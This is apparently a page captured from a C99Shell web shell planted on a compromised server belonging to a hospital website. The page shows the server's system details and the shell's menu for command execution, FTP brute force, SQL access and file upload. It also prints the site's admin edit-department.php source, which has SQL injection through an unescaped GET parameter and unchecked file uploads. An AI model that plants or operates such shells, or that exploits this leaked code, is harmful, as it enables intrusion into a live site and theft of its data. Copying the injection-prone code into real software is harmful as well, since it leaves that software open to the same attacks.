!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/admin/   drwxr-xr-x
Free 984.22 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit-department.php (7.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include 'conn.php';
require_once 
'auth.php';
$edit $_GET['edit'];
$doc mysqli_query($con"SELECT * FROM department WHERE id=" $edit "");
$roww mysqli_fetch_array($doc);

if (isset(
$_POST['update'])) {
  
$d_name mysqli_real_escape_string($con$_POST['d_name']);
  
$d_descrip substr($_POST['d_descrip'], 07000);
  
$d_name_fa mysqli_real_escape_string($con$_POST['d_name_fa']);
  
$d_descrip_fa substr($_POST['d_descrip_fa'], 07000);
    if (
$_FILES['lis_img']['name'] != '') {
        if (!empty(
$roww['img'])) {
            
$old_lis_img_path "images/department/" $roww['img'];
            
unlink($old_lis_img_path);
        }
        
$lis_img rand() . $_FILES['lis_img']['name'];
        
$tempname $_FILES['lis_img']['tmp_name'];
        
$folder "images/department/" $lis_img;
        
move_uploaded_file($tempname$folder);
    } else {
        
$lis_img $roww["img"];
    }
  
    if (
$_FILES['main_image']['name'] != '') {
        if (!empty(
$roww['main_image'])) {
            
$old_main_img_path "images/department/" $roww['main_image'];
            
unlink($old_main_img_path);
        }
        
$main_image rand() . $_FILES['main_image']['name'];
        
$tempname $_FILES['main_image']['tmp_name'];
        
$folder "images/department/" $main_image;
        
move_uploaded_file($tempname$folder);
    } else {
        
$main_image $roww['main_image'];
    }

    
$update_query "UPDATE department SET d_name=?, d_descrip=?, d_name_fa=?, d_descrip_fa=?, img=?, main_image=? WHERE id=?";
    
$stmt mysqli_prepare($con$update_query);

    
// Bind the parameters
    
mysqli_stmt_bind_param($stmt"ssssssi"$d_name$d_descrip$d_name_fa$d_descrip_fa$lis_img$main_image$edit);

    
// Execute the statement
    
if (mysqli_stmt_execute($stmt)) {
        echo 
"<script>alert('Updated Successfully');</script>";
    } else {
        echo 
"<script>alert('Error updating department: " mysqli_error($con) . "');</script>";
    }
    echo 
"<script>window.location.href = 'view-department.php'</script>";
    
mysqli_stmt_close($stmt);

}

?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title><?php include('title.php'?></title>
    <link rel="shortcut icon" type="image/png" href="images/fav.png">
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" href="css/themify-icons.css">
    <link rel="stylesheet" href="css/animate.css">
    <link rel="stylesheet" href="css/styles.css">
    <link rel="stylesheet" href="css/red.css" id="style_theme">
    <link rel="stylesheet" href="css/responsive.css">
    <link rel="stylesheet" href="charts/css/morris.css">
    <link rel="stylesheet" href="css/jquery-jvectormap.css">
    <link rel="stylesheet" href="datatable/dataTables.bootstrap4.min.css">
    <link rel="stylesheet" href="plugins/summernote/summernote-bs4.css">
    <script src="js/modernizr.min.js"></script>
</head>

<body>
    <!-- Pre Loader -->
    <div class="loading">
        <div class="spinner">
            <div class="double-bounce1"></div>
            <div class="double-bounce2"></div>
        </div>
    </div>
    <!--/Pre Loader -->
    <div class="wrapper">
        <!-- Sidebar -->
        <?php include('sidebar.php'?>
        <!-- /Sidebar -->
        <!-- Page Content -->
        <div id="content">
      <div>
      <?php include('topbar.php'?>

</div>
            <div class="row no-margin-padding">
                <div class="col-md-6">
                    <h3 class="block-title">Add Department</h3>
                </div>
                <div class="col-md-6">
                    <ol class="breadcrumb">                        
                        <li class="breadcrumb-item">
                            <a href="index.php">
                                <span class="ti-home"></span>
                            </a>
                        </li>
                        <li class="breadcrumb-item">Edit Department / ویرایش دیپارتمنت</li>
                    </ol>
                </div>
            </div>
<section class="content" >
     <div class="row justify-content-center">
      
       <div class="col-md-10">
       <form method="post" enctype="multipart/form-data">
           <div class="card card-outline card-info">
             <div class="card-header">
               <div class="form-group">
                 <label>Enter Department Name</label>
                 <input name="d_name" type="text" class="form-control" value="<?php echo $roww['d_name']; ?>" placeholder="Enter ...">
               </div>
             </div>
             <div class="form-group" dir="rtl" style="text-align: right;"> 
            <label for="d_name_fa" dir="rtl" style="text-align: right; padding-right: 40px;" >نام:</label>
    <input type="text" class="form-control" id="d_name_fa" name="d_name_fa" value="<?php echo $roww['d_name_fa']; ?>" placeholder="نام دیپارتمنت را به فارسی وارد کنید" required>
  </div>
             <div class="card-header">
               <div class="form-group">
                 <label>Enter Department Description</label>
                 <textarea name="d_descrip" class="textarea"  placeholder="Enter Department Description" style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;"><?php echo $roww['d_descrip'];?></textarea>
               </div>
             </div>
             <div class="form-group" dir="rtl" style="text-align: right;"> 
            <label for="d_descrip_fa" dir="rtl" style="text-align: right; padding-right: 40px;" >جزئیات دیپارتمنت را وارد کنید  </label>
            <div class="mb-3">
                <textarea name="d_descrip_fa"  class="textarea"  placeholder=" جزئیات دیپارتمنت را به فارسی وارد کنید"
                          style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;"><?php echo $roww['d_descrip_fa'];?></textarea>
              </div>
             <div class="card-header">
  <div class="form-group">
    <label for="exampleInputFile">Select Main Image</label>
    <p style="color:red;">Ultimate image size (5MB) <br> <?php echo $roww['main_image'];?></p>
    <input name="main_image" type="file" value="<?php echo $roww['main_image'];?>" accept="image/png, image/jpeg">
  </div>
</div>
             <div class="card-header">
               <div class="form-group">
                 <label for="exampleInputFile">Select Department Icon</label>
                 <p style="color:red;">Ultimate image size (5MB) <br> <?php echo $roww['img'];?></p>
                 <input name="lis_img" type="file" value="<?php echo $roww['img'];?>">
               </div>
             </div>
             <button type="submit" name="update" class="btn btn-block btn-primary btn-lg">Update</button>
           </div>
         </form>
       </div>
</div>
     </div>
   </section>
        </div>
    </div>
  <a id="back-to-top" href="#" class="back-to-top">
        <span class="ti-angle-up"></span>
    </a>
    <!-- Jquery Library-->
    <script src="plugins/jquery/jquery.min.js"></script>
<script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="dist/js/adminlte.min.js"></script>
<script src="dist/js/demo.js"></script>
<script src="plugins/summernote/summernote-bs4.min.js"></script>
<script>
  $(function () {
    $('.textarea').summernote()
  })
</script>

    <!-- Popper Library-->
    <script src="js/popper.min.js"></script>
    <!-- Bootstrap Library-->
    <script src="js/bootstrap.min.js"></script>
    
    <!-- Datatable  -->
    <script src="datatable/jquery.dataTables.min.js"></script>
    <script src="datatable/dataTables.bootstrap4.min.js"></script>
    
    <!-- Custom Script-->
    <script src="js/custom.js"></script>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0982 ]--